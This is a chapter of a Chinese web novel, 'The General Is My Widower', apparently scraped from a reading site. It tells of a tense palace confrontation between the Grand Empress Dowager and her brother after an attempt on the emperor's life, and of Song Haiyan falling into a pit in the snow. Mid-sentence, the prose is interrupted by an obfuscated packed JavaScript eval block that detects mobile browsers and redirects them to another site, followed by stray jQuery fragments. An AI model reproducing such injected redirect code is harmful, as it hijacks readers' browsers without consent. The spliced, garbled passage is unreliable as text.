74. 第五章 针锋相对
作品:《将军是我未亡人》 金陵。永寿宫。
六出雪花如玉碎珠抛般从天际挥洒而下,碧瓦朱甍失去颜色,楼台馆阁尽裹素绡,净如琉璃世界。
夏从德撑着伞,搀扶着司徒公齐鸿进了永寿宫。
青铜宫灯上燃着白烛,宫门洞开之际,烛光一刹明灭。丹墀之上,太皇太后齐明霜斜倚凤座扶手,半阖凤目,手中一串佛珠时停时转。银丝鬓发间,九凤金冠映着幽幽烛火,衬得她面色愈发阴沉。
齐鸿于丹墀下行了叩拜之礼:“臣弟齐鸿,参见太皇太后。”
司徒公齐鸿今年已六十有四,此番跪拜时颤颤巍巍,几难稳立。但太皇太后并没有宣他平身,她静静凝视着自己的弟弟,看着他同样苍白的头发,看着他同样沟壑丛生的面容,看着他与自己同样锐利的目光。
良久,太皇太后轻启唇齿,声若幽叹:“阿鸿,你阿姐今年七十有三,不过这点骨血,你就容她不得吗?”
齐鸿道:“阿姐,并非臣弟不能容她;是她步步紧逼,不愿给齐家一点后路。臣弟这么做,也是别无办法。”
“你承认是你所为了?”太皇太后面色一寒,她本以为齐鸿多少会推诿几句,也好让彼此间留些转圜余地,不至于将这层窗户纸彻底捅破。如今看来,齐氏一族全然不顾体统,皇帝此番凶多吉少,这金陵宫闱转眼便要掀起狂风骇浪。
齐鸿抬头,与自己的姐姐对视,声音凉薄,“事已至此,臣弟说此事与我无关,与齐家无关,阿姐会相信吗?”
太皇太后苍白的唇瓣微微发颤,又听齐鸿续道:“阿姐,我们是一母同胞的姐弟,阿姐大我九岁,自小是阿姐你将我抱在怀中读书识字。阿姐心里想什么,我全都知道;同样,我学的那些,都来自阿姐的教导。阿姐追求至高无上的权力,并想将之千秋万代地传承下去,臣弟也一样。臣弟一直以为,你我姐弟之间并没有矛盾。因为,阿姐和我一样,身体里流的是齐家的血……”
他深深地望着太皇太后,目光幽晦,“可从什么时候起,阿姐您开始心向着萧家呢?”
太皇太后凤目含霜,冷笑一声:“你的意思是,是哀家错了?是我齐明霜对不住你,对不住整个齐家?”
森寒目光如利刃刮骨,齐鸿只觉一股寒意自脊背升起,不自觉打了个寒噤,气势也弱了三分:“臣弟没有这么说,没有阿姐,就没有如今的齐家。”
玉殿之中声音沉寂,唯有烛火噼啪轻响。
齐明霜心知齐氏选在此时行刺天子,正是瞅准了真皇子阿桑名分未定,意图将颍川郡王推上大位。她岂肯轻易遂了齐鸿心愿,捻动手中佛珠,重新开口道:“皇帝遇刺,生死未卜。若有不讳,哀家有意立长沙王萧夷之孙、少府萧悯之子萧桢为嗣,司徒公以为如何?”
齐鸿面上不起半分波澜,淡声道:“此事太皇太后应该同萧悯商议,他若首肯,臣亦无异议。”
太皇太后扬声道:“宣少府萧悯入宫。”
夏从德领命出去了。
永寿宫中,姐弟俩人一坐一跪。跪立之人苍髯抖动,双腿战战差点栽倒,又挣扎着挺起腰身,但齐明霜只靠着椅背假寐,并没有唤齐鸿起身的意思。
不知过了多久,夏从德重新踏入殿中,禀道:“太皇太后,萧悯在一个时辰前携带妻子儿女离开金陵,折返长沙。说是长沙王萧夷病重,他身为人子,当侍奉病前。只留下一封信,说已向中书省递交辞呈,恳请辞去少府一职……”
他从袖中拿出一封信,双手奉至凤座之前。
齐明霜并未接信,陡然长身而起,怒视阶下之人:“这也是你的谋划?”
齐鸿强忍膝盖疼痛,抬起目光,与太皇太后针锋相对:“太皇太后,人皆有畏死之心。你我家事,何必牵扯旁人?”
“好,好,好——”太皇太后气极怒极。七年之前,她召萧愫、萧悯入朝,命二人携带家眷子女长居金陵,便是想以宗室血脉压制齐鸿的野心。但局势演变至此,她的后招已全然失效。太皇太后一双枯唇颤动,声如老竹劈裂:“齐鸿,你当哀家不敢杀你吗?”
“太皇太后当然可以杀了臣弟。如今司徒府都在太皇太后的掌握之下,如果太皇太后愿意,还可以下令诛杀臣的九族,可太皇太后别忘了,那也是您的九族。太皇太后还可以杀了颍川郡王,杀了这个您一衣一食亲手养大的孩子,从萧氏旁支册立新君……”
齐鸿目光如刺,大声道:“您还可以召宋海晏入京勤王。宋海晏和何长龄甥舅联手,足以颠覆大楚江山。我齐鸿是乱臣贼子,他宋海晏难道不是狼子野心?庐江、青州、兖州、徐州,如今诸侯,谁的地盘有他宋海晏大?谁的兵力比他宋海晏更多?宋海晏在京中飞扬跋扈,太皇太后难道不知?太皇太后,您就甘心您和先帝打下来的江山最终沦入外姓之手吗?阿姐,自古疏不间亲,再怎么样,我也是您的亲弟弟啊,颍川郡王也是您的血缘之亲啊……”
太皇太后双目眩晕,浑身发抖。她踉跄着扶住凤座,枯唇张合数次,最终只无声惨笑。
齐鸿声音嘶哑,以首顿地:“若阿姐心中愤懑难平,待颍川郡王登基之后,臣弟愿饮鸩酒,以消阿姐心中之恨……”
恰在此时,宫门环响,一名内侍疾步入殿,伏跪奏报:“太皇太后,中书侍郎齐韶有紧急之事求见,言称务必即刻觐见,请太皇太后恩准。”
太皇太后撑着摇摇欲坠的身体,勉强在凤座坐定,点头道:“宣。”
齐韶很快入殿,行礼之后,并不说话,只看了齐鸿一眼。
太皇太后道:“来人,请司徒公到偏殿休息。如果没有哀家的懿旨,不准他离开宫门一步。”
“是。”两名内侍上前搀扶齐鸿,司徒公早已双膝麻木,需得两人架着方能起身,往偏殿去了。
太皇太后命宫人焚起五真香,馥郁冷冽的烟雾从博山炉中缓缓透出,萦绕室内。又过了好一会,太皇太后才觉得神识清明了些,看向齐韶道:“情况如何,找到皇帝了吗?”
齐韶摇头道:“还没有,事发之后,暗卫护送陛下骑马突围,我找到了那匹马,陛下不知所踪,现场只有齐家派来的那名猎手的尸体。陛下应该还活着……”
他微微一顿,道:“太皇太后,事情还有转机,您不要轻易应许司徒公的条件,我们先设法找到陛下再说。”
太皇太后轻轻揉眉心,又问道:“京中动向如何?”
齐韶道:“近日天寒地冻,外面没什么人走动。齐家傍晚才动手,他们也不会将此事大肆宣扬,微臣已让禁军首领李藏甲和金陵卫尉韩毅封锁消息,其他世家应尚不知内情,现在京城一切如常。”
太皇太后闭目凝神片刻,方道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724036|180124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“传哀家懿旨,命韩毅封锁鸡鸣山行宫。就说昨夜风大雪大,皇帝染恙,需在行宫将养,暂罢朝会,等皇帝病愈再说。朝中之事,着中书省议处后上奏永寿宫。”
“传懿旨,自今夜起,金陵宵禁。各方城门午时初开,未时关闭,闲杂人等不得进出。命李藏甲着人暗中看着司徒府,若有异动,即刻回报。”
“着人到司徒府传懿旨:昨夜雪滑,司徒公入宫时摔着了腿,暂时不便回府,哀家顾念姐弟之情,留他在永寿宫养病,府中不必挂念。”
“宫中、禁军、卫尉素来有齐家不少眼线,以前不好动他们,今夜全部肃清,一个不留——”
……
一道道密令如惊鸟振翅,自永寿宫内发出。内监踏碎宫阶前的积雪,奔向城中各处,纯白之上顷刻覆满凌乱的泥泞。
无人知晓,这簌簌飘落的琼瑶之下,正悄然覆盖着多少未冷的血痕。但飞雪依旧飘落,待明日雪停,金陵城仍将是一片光华无瑕的琉璃世界。
太皇太后最后看向齐韶,道:“哀家另外赐你一道手令,可临时调动京城所有可用人手,一切以寻回陛下为要。”
齐韶躬身道:“臣遵旨。”
待诸事安排妥当,太皇太后再次感到一阵眩晕,身子一软倒向凤座深处。夏从德身形颤抖,他跪下膝行至凤座前,低声道:“太皇太后,是否要请御医?”
太皇太后声若游丝不定:“今夜事多,不必惊动太医,以免人多嘴杂。你去取些参汤来。”
夏从德领命而去,齐韶仍立在阶下,温声道:“太皇太后请保重玉体,若凤体不安,宫中生乱,齐氏行事将更无忌惮。”
太皇太后只摆了摆手,道:“你先去罢,宫中之事,哀家自会权衡。”
***
宋海晏背负着阿幸,在飞雪中艰难前行。
他几乎一天一夜未眠未休,又伤在屠越箭下,此刻体力接近枯竭,脚却不敢停下。且不说身后多半还有追兵,如此风雪中,他若停下,只会和阿幸一起倒毙道旁。
周遭林木渐稀,宋海晏勉力辨认方向,依稀记得鸡笼山往南有座古刹。出家人素以慈悲为怀,若能寻得古刹,暂避风雪、养精蓄锐,待天明再做打算,也不失为良策。
夜雪苍茫,朔风卷着碎玉般的雪粒,迷得人睁不开眼。他拖着沉重的身躯,早已分不清东西南北,不知不觉竟朝着西方走去。约莫行出一里地,忽见前方雪幕中隐约立着一座圆丘,被白雪裹得严实,远远望去倒像座茅屋。宋海晏心中一喜,强提最后一丝力气奔去,孰料临近时足底一空,整个人失去重心,直直下坠。
宋海晏心知不妙,也不及察看周遭情势,双臂一拢,将阿幸抱入怀中。寒风卷着雪沫灌入脖颈,他只来得及将下颌埋进阿幸发间,便与她一同坠入无尽黑暗。
原来那覆雪圆丘下竟是个极深的陷坑,宋海晏背脊重重砸在坑底土石之上,只听得“咔嚓”脆响自肩胛处传来,未及喘息,怀中阿幸的重量又狠狠撞向左肩伤处,两处剧痛交加,喉头腥甜翻涌,宋海晏眼前一黑,几乎昏厥。这陷坑下竟是一条狭长的斜坡,两人身体止不住向下方滚落,宋海晏死死抱住阿幸,不敢松手。
在一片黑暗之中,两人终于滑至坑底。宋海晏额头撞到一块坚硬的石头,脑中轰然一响,彻底没了知觉。

